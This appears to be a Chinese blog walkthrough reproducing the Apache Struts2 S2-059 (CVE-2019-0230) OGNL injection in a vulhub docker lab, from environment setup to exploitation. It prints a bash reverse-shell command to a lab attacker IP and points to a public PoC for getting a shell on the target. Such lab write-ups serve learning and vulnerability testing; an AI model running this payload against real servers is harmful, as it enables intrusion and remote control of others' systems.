s2-059漏洞复现(CVE-2019-0230)

一、漏洞描述

  2020年8月13日,Apache官方发布了一则公告,该公告称Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。

二、漏洞环境搭建

需要准备的工具如下:

1.docker+vulhub漏洞库
2.漏洞POC:下载链接https://github.com/Al1ex/CVE-2019-0230
3.攻击机kali虚拟机(版本随意)
4.靶机Ubuntu18.04虚拟机(其他也可以)

打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有先安装docker+vulhub
root@admin666-virtual-machine:~/vulhub-master/struts2/s2-059#
执行命令
root@admin666-virtual-machine:~/vulhub-master/struts2/s2-059# docker-compose up -d
等到出现以下页面说明已经搭建完成

可以访问http://your-ip:8080,出现如下页面证明环境搭建成功!

可以传参测试,使用如下拼接运算,可以发现2*33被执行了,至此可以开始漏洞利用了

三、漏洞利用

1、编写反弹shell的payload,并用base64编码

bash -i >& /dev/tcp/192.168.1.222/2333 0>&1
base64的编码网址http://www.jackson-t.ca/runtime-exec-payloads.html

2、从GitHub上下载POC,修改相关IP和payload(payload可以为执行的命令,也可以直接反弹shell,这里使用后者)


3、打开kali监听反弹shell的端口,执行poc脚本,成功反弹了一个shell,可以执行命令,至此漏洞利用成功!



4、关闭docker环境

进入环境目录,执行命令
root@admin666-virtual-machine:~/vulhub-master/struts2/s2-059# docker-compose down

posted @ 2021-01-04 17:06  冰淇淋干杯  阅读(762)  评论(0编辑  收藏  举报